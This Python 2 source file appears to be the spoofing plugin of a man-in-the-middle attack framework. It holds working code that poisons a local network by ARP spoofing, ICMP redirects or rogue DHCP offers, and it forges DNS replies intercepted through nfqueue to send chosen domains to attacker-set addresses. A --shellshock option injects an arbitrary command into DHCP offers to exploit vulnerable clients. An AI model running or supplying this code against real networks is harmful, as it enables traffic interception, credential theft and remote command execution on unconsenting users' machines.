#!/usr/bin/env python2.7

# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import logging
import sys

from core.utils import SystemConfig
from core.sslstrip.DnsCache import DnsCache
from core.wrappers.protocols import _ARP, _DHCP, _ICMP
from core.wrappers.nfqueue import Nfqueue
from plugins.plugin import Plugin

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  #Gets rid of IPV6 Error when importing scapy
from scapy.all import *

class Spoof(Plugin):
	name     = "Spoof"
	optname  = "spoof"
	desc     = "Redirect/Modify traffic using ICMP, ARP or DHCP"
	version  = "0.5"
	has_opts = True
	req_root = True

	def initialize(self, options):
		'''Called if plugin is enabled, passed the options namespace'''
		self.options = options
		self.dnscfg = options.configfile['Spoof']['DNS']
		self.dhcpcfg = options.configfile['Spoof']['DHCP']
		self.target = options.target
		self.manualiptables = options.manualiptables
		self.protocolInstances = []

		#Makes scapy more verbose
		debug = False
		if options.log_level is 'debug':
			debug = True

		if options.arp:

			if not options.gateway:
				sys.exit("[-] --arp argument requires --gateway")

			arp = _ARP(options.gateway, options.interface, options.mac_address)
			arp.target = options.target
			arp.arpmode = options.arpmode
			arp.debug = debug

			self.protocolInstances.append(arp)

		elif options.icmp:

			if not options.gateway:
				sys.exit("[-] --icmp argument requires --gateway")

			if not options.target:
				sys.exit("[-] --icmp argument requires --target")

			icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address)
			icmp.debug = debug

			self.protocolInstances.append(icmp)

		elif options.dhcp:

			if options.target:
				sys.exit("[-] --target argument invalid when DCHP spoofing")

			dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
			dhcp.shellshock = options.shellshock
			dhcp.debug = debug
			self.protocolInstances.append(dhcp)
  
		else:
			sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")

		if options.dns:

			if not options.manualiptables:
				SystemConfig.iptables.DNS(0)

			dnscache = DnsCache.getInstance()
			
			for domain, ip in self.dnscfg.iteritems():
				dnscache.cacheResolution(domain, ip)

			dns = DNStamper(0)
			dns.dnscfg = self.dnscfg

			self.protocolInstances.append(dns)


		SystemConfig.setIpForwarding(1)

		if not options.manualiptables:
			SystemConfig.iptables.HTTP(options.listen)

		for protocol in self.protocolInstances:
			protocol.start()

	def add_options(self, options):
		group = options.add_mutually_exclusive_group(required=False)
		group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
		group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
		group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
		options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
		options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
		options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
		options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]')
		options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
		#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')

	def finish(self):
		for protocol in self.protocolInstances:
			protocol.stop()

		if not self.manualiptables:
			SystemConfig.iptables.Flush()

		SystemConfig.setIpForwarding(0)


class DNStamper(Nfqueue):

	dnscfg = None

	def callback(self, payload):
		try:
			logging.debug(payload)
			pkt = IP(payload.get_payload())

			if not pkt.haslayer(DNSQR):
				payload.accept()

			if pkt.haslayer(DNSQR):
				logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
				for k, v in self.dnscfg.iteritems():
					if k == pkt[DNSQR].qname[:-1]:
						self.modify_dns(payload, pkt, v)
						return

			payload.accept()

		except Exception, e:
			print "Exception occurred in nfqueue callback: " + str(e)

	def modify_dns(self, payload, pkt, ip):
		try:

			mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
			UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
			DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)

			mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) 
			
			logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
			payload.set_payload(str(mpkt))
			payload.accept()
		
		except Exception, e:
			print "Exception occurred while modifying DNS: " + str(e)